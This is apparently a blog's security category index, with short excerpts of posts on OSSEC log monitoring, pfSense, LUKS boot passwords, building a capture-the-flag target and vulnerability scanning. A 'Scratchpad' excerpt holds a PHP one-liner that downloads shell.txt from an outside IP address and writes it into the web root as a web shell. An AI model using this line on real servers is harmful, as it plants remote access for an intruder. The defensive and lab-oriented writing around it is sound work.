Security – vanderziel.org

OSSEC creating ‘ignore’ rules

July 5, 2019 Anko 0 Comments HIDS, IDS, linux, Logs, Monitoring, OSSEC, security, server

For automated log monitoring and alerting, several years ago I decided to start using OSSEC. The nice thing about OSSEC

Scratchpad – random but interesting

January 22, 2019October 2, 2019 Anko 0 Comments php, RFI, scratchpad, shell, transfer

php file transfer Nice PHP Example to transfer code <?php file_put_contents(“/var/www/html/sedje.php”, file_get_contents(“http://10.13.37.152/shell.txt”));?> interactive shell A method for better interactive shell

linux Security Technical

KVM Virtualisation and a pfSense firewall

September 28, 2017 Anko configuration, firewall, linux, networking, security, server

Recently I decided to stop breaking stuff on my web server, dns server and other internal infrastructure. It simply takes

linux Security Technical

Password protection for LUKS encrypted laptop

December 4, 2016October 1, 2019 Anko 0 Comments configuration, GRUB, LUKS, password, security

Halfway past November, a vulnerability in the LUKS Full-disk encryption for linux systems was discovered (CVE-2016-4484). Since I use this

Information security linux Security Technical Wordpress

Insecure on purpose – building a CTF-target

December 2, 2016December 2, 2016 Anko 0 Comments configuration, CTF, insecure, password, security, server, ssh, vulnerability scan, wordpress

Last month I started working on something that feels extremely counter-intuitive. Building targets for a hacking ‘Capture The Flag‘ event.

Information security Security Technical Vulnerability Management Vulnerability Scanning

Vulnerability scanning – types of scanners and their purpose

July 6, 2016July 18, 2016 Anko 0 Comments Nessus, security, vulnerability scan, work

When working with scanning tools, you must first determine what type of scanner you are working with. There are several

Information security Security Technical Vulnerability Management Vulnerability Scanning

Vulnerability scanning – how, what where and when?

June 9, 2016September 9, 2018 Anko 0 Comments Nessus, OpenVAS, security, vulnerability scan

In my working life I have had various roles as security consultant. One of these roles was working in an

Information security Security Technical Vulnerability Management Vulnerability Scanning

Vulnerability scanning – (re)sources and sites

May 18, 2016May 18, 2016 Anko 0 Comments ISO27001, security, work

Vulnerability management (processes) and therefore vulnerability scanning (techniques) are a requirement for any organization that takes security serious. In my

Information security Security Technical